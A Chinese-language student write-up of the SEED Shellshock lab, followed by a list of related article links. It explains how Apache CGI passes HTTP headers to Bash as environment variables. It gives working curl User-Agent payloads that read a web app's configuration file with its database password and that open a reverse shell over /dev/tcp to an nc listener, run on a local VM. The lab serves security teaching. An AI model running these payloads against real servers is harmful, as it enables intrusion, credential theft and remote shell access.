LAB 2 Shellshock Attack
Shellshock Attack
- 利用Shellshock攻击Set-UID程序
- Web服务器调用CGI程序
- Task 1: Experimenting with Bash Function
- Task 2: Setting up CGI programs
- Task 3: Passing Data to Bash via Environment Variable
- Task 4: Launching the Shellshock Attack
- Task 5: Getting a Reverse Shell via Shellshock Attack
- Task 6: Using the Patched Bash
利用Shellshock攻击Set-UID程序
Web服务器调用CGI程序
为了理解Shellshock是如何攻击CGI程序的,首先需要理解CGI程序是如何被调用的。下面使用Apache Web服务器(简称“ Apache服务器” )来描述该过程。当用户向Apache服务器发送CGI请求时(如http://10.0.2.69/cgi-bin/test.cgi), Apache服务器会检查该请求。如果是一个CGI请求,Apache服务器会用fork () 函数来新建一个进程,然后使用exec()函数族中的某个函数在新进程中执行CGI程序。因为CGI程序以“ #!/bin/bash"开头,因此该程序是一个shell脚本,exec()函数实际上执行的是/bin/bash, Bash会运行shell脚本。
触发Bash只是Shellshock攻击成功的条件之一。另一个重要的条件是攻击者必须通过环境变量为Bash程序提供输入。当Apache服务器创建了一个子进程执行Bash(使用exec()函数)时,它为Bash进程提供了环境变量。下面看一下哪些环境变量可以被远程用户控制。将下面的内容放在test.cgi程序中。最后一行的指令“ strings /proc/$$ /environ"能打印出一个进程的所有环境变量,Bash会将$$替换成当前进程的ID。
#!/bin/bash_shellshock
echo "Content-type : text/plain "
echo
echo " ** Environment Variables*** "
strings /proc/$$/environ
Task 1: Experimenting with Bash Function
Task1主要是设计一个实验来验证Bash是否容易受到Shellshock攻击。命令如下:
foo="() { echo "hello"; }; echo "extra";"
export foo
Case1:有漏洞的shell版本
输入bash_shellshock、declare -f foo和exit,结果如下:
Case2:无漏洞的shell版本
运行结果如下,bash后面没有输出,没有输出extra,也没有函数foo的定义:
结论:可以利用上面的命令来判断shell是都存在shellshock漏洞。
Task 2: Setting up CGI programs
在这个实验中,我们将对一个远程web服务器发起Shellshock攻击。如果shell程序是易受攻击的Bash程序,我们可以利用Shellshock易受攻击来获得服务器上的特权。
设置一个非常简单的CGI程序(称为myprog.cgi),它的作用是使用shell脚本打印出“Hello World”,代码如下:
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello Wrold“
需要将该CGI程序放在目标服务器的/usr/Ii b / cgi-bin目录中,并将它的权限设置为775(可执行)。这些操作需要使用root权限(使用sudo)来完成,因为只有root用户可以修改该目录中的文件。该目录是Apache服务器的默认CGI目录。
Case1:有漏洞的shell版本:
输出了Hello World。
Case2:无漏洞的shell版本:
只需要将cgi脚本的第一行改为#!/bin/bash,结果如下:
同样的也输出了HelloWorld。
结果分析:两次输出结果相同,这也正常,因为没有涉及到攻击,而是用到了shell提供的功能。
Task 3: Passing Data to Bash via Environment Variable
此实验中,我们要利用基于Bash的CGI程序中的Shellshock漏洞,攻击者需要将他们的数据传递给有漏洞的Bash程序,并且需要通过环境变量传递数据。使用下面的CGI程序来演示可以向CGI程序发送任意字符串,该字符串将显示在一个环境变量的内容中。CGI脚本如下:
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "** Environment variables **"
strings /proc/$$/environ
Case1:有漏洞的shell版本:
可以看到,cgi脚本输出了环境变量。
Case2:无漏洞的shell脚本
将cgi脚本的第一行改为#!/bin/bash,结果如下:
可以看到,也成功输出了环境变量。
结果分析:与Task2结果相似,两次输出结果相同,因为没有涉及到攻击,而是用到了shell提供的功能。
Task 4: Launching the Shellshock Attack
在上面的CGI程序设置好之后,我们现在可以启动Shellshock攻击了。我们可以通过URL http://localhost/cgi-bin/ myprog发起攻击,可以实现作为远程用户无法完成的事情。在本实验中,主要是使用shellshock攻击从服务器窃取一个秘密文件内容,命令如下:
curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php" http://127.0.0.1/cgi-bin/myprog.cgi。
Case1 有漏洞的shell版本:
myprog.cgi脚本成功窃取了 /var/www/CSRF/Elgg/elgg-config/settings.php 的内容,且获取了数据库密码。
Case 2:无漏洞的版本:
将cgi脚本的第一行换成#!/bin/bash
可以看到,输出了环境变量,没有窃取到秘密文件。
结果分析:/bin/bash_shellshock攻击的原理是 -A 后面的字符串会作为 http头中 的 agent 发送给服务器,apache agent会构造相应的环境变量传给 shell,有漏洞的shell 看到环境变量以 A=() { 会识别成shell函数,将=替换成空格,也就是A () {,而后调用函数解析函数体,而这个函数在遇到 () { echo hello ; }; 最后的分号时,会将分号后面的指令执行,从而被攻击。/bin/bash修复了漏洞,故攻击失败。
Task 5: Getting a Reverse Shell via Shellshock Attack
Shellshock漏洞允许攻击者在目标机器上运行任意命令。在实际的攻击中,攻击者通常选择运行shell命令,而不是在攻击中硬编码命令,这样,只要shell程序还活着,他们就可以使用这个shell运行其他命令。为了实现这个目标,攻击者需要运行一个反向shell。
在这个实验中,主要演示如何通过CGI程序中的Shellshock漏洞启动反向shell。为了方便,这里我都在一台机器上进行演示。并且使用命令时要注意修改命令中的 IP 地址。
Case 1:有漏洞的shell版本
用命令nc -lv 8000搭建一个服务器,监听8000端口,模拟攻击端。
curl -A "() { echo hello; }; /bin/bash -i > /dev/tcp/127.0.0.1/8000 0<&1 2>&1" http://127.0.0.1/cgi-bin/myprog.cgi
可以看到,下面这个shell窗口可以看到反向shell已经创建成功了,用户id为www-data.
Case 2: 无漏洞的shell版本:
将cgi脚本的第一行改为#!/bin/bash,结果如下:
可以发现启动反向shell失败,攻击端输出了环境变量。
结果分析:对于有漏洞的shell,会执行“;“后面的命令,开启shell并将输入输出重定向到一个外部的tcp连接,连接成功后,我们就可以再外部使用这个连接区操作shell了。而对于没有漏洞的shell,分号后面的命令不会执行,所有反向shell会创建失败。
Task 6: Using the Patched Bash
此实验中,我们使用一个已经打过补丁的Bash程序。程序/bin/bash是修补过的版本。重做Task 3和Task 5。
此Task已经在上述Task3 和 Task 5中实现了,此处不再做赘述。
LAB 2 Shellshock Attack相关推荐
- Shellshock Attack Lab
Shellshock Attack Lab 使用Ubuntu 16.04 20.04可以使用docker或者安装apache做后面的task Task1 Bash的版本:在本书提供的SEED Ubun ...
- 软件安全课程实验2 Shellshock Attack lab
Shellshock_Attack_lab 个人博客地址 task 1 //vul.c #include <unistd.h> #include <stdio.h> #incl ...
- Shellshock Attack SEED-LAB
实验官方文档链接SEED Project 环境搭建 DNS设置 在我们的设置中,web服务器容器的IP地址为10.9.0.80.服务器的主机名为www.seedlab-shellshock.com.我 ...
- Seed lab:Remote DNS Attack
实验环境: 服务器ip:192.168.86.139 Victim ip: 192.168.86.137 Attacker ip:192.168.86.138 准备工作: 安装bind9服务器: 在b ...
- Shellshock Lab
注:全文如下,同时欢迎参观我的个人博客:Shellshock Lab Shellshock 1 Overview-概述 2014 年 9 月 24 日,发现了 bash 中的一个严重漏洞. 该漏洞绰号 ...
- 漏洞分析——shellshock实验
Shellshock Attack Lab 前导知识 SHELL:命令行界面的解释器 Linux下常见Shell: Bourne Again Shell(/bin/bash) C Shell(/usr ...
- 什么是ShellShock攻击?
黑客笔记 本期live互动.答疑相关问题归档(有视频): Shellshock Attack 概述 认识环境变量&&bash 1.普通shell变量和bash [04/12/2018 ...
- shellshock-Attack-Lab
shellshock Attack Lab 详见我的个人博客:shellshock Attack Lab 实验概述 实验背景 2014 年 9 月 24 日,发现了 Bash 中的一个严重漏洞 She ...
- mysql in sql注入_在 SQL 注入攻击中检查数据库
原文来自:PORTSWIGGER WEB SECURITY >> Web Security Academy >>Examining the database >>E ...
最新文章
- Head first servlet and jsp学习笔记
- Python花式编程案例锦集(3)
- jdk自带压测工具_jstack性能分析工具
- 这本 Python 入门畅销书《“笨办法”学 Python 3》,不仅仅是一本书!
- mysql 常用存储引擎InnoDBMyISAM表格对比
- c++ 形参用指针 还是对象_Java 和 C/C++两大高手的对比
- postgis java_Postgresql结合postgis使用java的JDBC连接
- springmvc时间(date)无法转入后台(@DateTimeFormat+@JsonFormat(GMT+8))
- 广州海珠php培训_海珠|海珠区第二实验小学教育集团成立两周年 初步实现集团内教师资源的“柔性流动”...
- 高二计算机考试题库和答案,2017计算机基础考试题库及答案
- mac下使用ipv6观看电视
- 【C语言入门】--- 数组详解
- 资深运维给你讲:一个小白的运维成长故事
- mui实现底部导航栏页面切换
- sketch怎么转换成html,手稿秒变html的Sketch 2 Code
- 怎样用计算机计算数的开方,用计算器进行数的开方[页2].docx
- 应届生昆山offer和上海户口offer要如何选择?
- canvas 的save()和restore()方法
- 怎样快速在线把pdf转换成word
- 数据结构C语言描述2(专插本/专升本)
热门文章
- Error: Cannot find module ‘dotenv‘解决方法
- 【docker安装笔记】
- 红石32位cpu通用计算机,32位无命令方块红石电脑简介及设计原理
- 隐私计算:半同态加密算法实践
- 微信多客服如何设置快捷回复(高级玩法总结)
- 计算机恢复点不开怎么办,W7系统还原打不开怎么处理
- 关于找工作的整个流程(简历编写,投简历,面试,笔试)经验
- 简单直白教你理解Java中四大引用强引用,软引用,弱引用,虚引用
- 解读大厂招聘JD:C站能力认证带你进大厂
- vnc远程桌面,超好用的5款vnc远程桌面软件